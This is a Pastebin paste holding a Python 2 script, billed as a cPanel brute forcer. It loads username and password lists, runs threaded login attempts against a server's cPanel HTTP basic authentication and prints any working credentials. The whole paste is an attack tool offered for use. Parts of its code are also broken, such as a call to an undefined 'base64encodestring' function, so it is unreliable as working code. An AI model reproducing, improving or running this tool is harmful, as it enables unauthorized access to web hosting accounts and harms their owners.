Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import time,random,base64,sys,threading,urllib2,httplib
- from copy import copy
- def stoker():
- print '''
- +-+-+-+-+-+-+ +-+-+-+-+-+
- |C|p|a|n|e|l| |B|r|u|t|e|
- +-+-+-+-+-+-+ +-+-+-+-+-+
- [!] Python Cpanel Brute Forcer
- [!] Author : Muhammad Adeel aka Innoxent Stoker
- [!] Mail: [email protected]
- [!] usage : ./script.py server port user.txt pass.txt
- '''
- def timer():
- now = time.localtime(time.time())
- return time.asctime(now)
- if len(sys.argv) !=5:
- stoker()
- sys.exit(1)
- try:
- users = open(sys.argv[3], "r").readlines()
- except(IOError):
- print "[*]Error, Check Users List Path.\n"
- sys.exit(1)
- try:
- passwd = open(sys.argv[4], "r").readlines()
- except(IOError):
- print "[*]Error, Check your Password list path.\n"
- sys.exit(1)
- passlist = copy(passwd)
- def reloader():
- for word in passlist:
- passwd.append(word)
- def getpw():
- lock = threading.Lock()
- lock.acquire()
- if len(passwd) != 0:
- value = random.sample(passwd, 1)
- passwd.remove(value[0])
- else:
- print "\n[*]PathList Reloading ~ changing User..\n"
- reloader()
- value = random.sample(passwd, 1)
- users.remove(users[0])
- lock.release()
- if len(users) ==1:
- return users[0], value[0][:-1]
- else:
- return users[0][:-1], value[0][:-1]
- def anonghost(url):
- req = urllib2.Request(url)
- try:
- handle = urllib2.urlopen(req)
- except IOError, e:
- pass
- else:
- print "[*]Cannot Open the Page.\n"
- sys.exit(1)
- if not hasattr(e, 'code') or e.code != 401:
- print "\n[*]An Error Occured while Loading Page."
- sys.exit(1)
- authline = e.headers.get('www-authenticate', '')
- if not authline:
- print '\n[*]Basic authentication Header not found.\n'
- sys.exit(1)
- else:
- return authline
- class pakistani(threading.Thread):
- def run(self):
- username, password = getpw()
- try:
- print "-"*12
- print "UserName: ",username,"Password: ",password
- auth_handler = urllib2.HTTPBasicAuthHandler()
- auth_handler.add_password("cPanel", server, base64encodestring(username)[:-1], base64encodestring(password)[:-1])
- opener = urllib2.build_opener(auth_handler)
- urllib2.install_opener(opener)
- urllib2.urlopen(server)
- print "\t\n\nUsername: ",username,"Password: ",password,"-- Logged in Successfully."
- except (urllib2.HTTPError, httplib.BadStatusLine), msg:
- print "An error occurred: ", msg
- pass
- stoker()
- if sys.argv[1][-1] == "/":
- sys.argv[1] = sys.argv[1][:-1]
- server = sys.argv[1]+":2082"
- if sys.argv[2].isdigit() == False:
- print "[*] Port should be a number\n"
- sys.exit(1)
- else:
- port = sys.argv[2]
- if sys.argv[1][-1] == "/":
- sys.argv[1] = sys.argv[1][:-1]
- server = sys.argv[1]+":"+port
- print "[!] Server: ",server,"[!] Port: ",port
- print "[!] Usernames Loaded: ",len(users),"[!] PassWords Loaded: ",len(passwd)
- print "[!]",anonghost(server), "[!] Started ",timer(),"\n"
- for i in range(len(passwd)*len(users)):
- work = pakistani()
- work.setDaemon(1)
- work.start()
- time.sleep(1)
- print "\n[!] Job Finished -",timer(),"\n"
Add Comment
Please, Sign In to add comment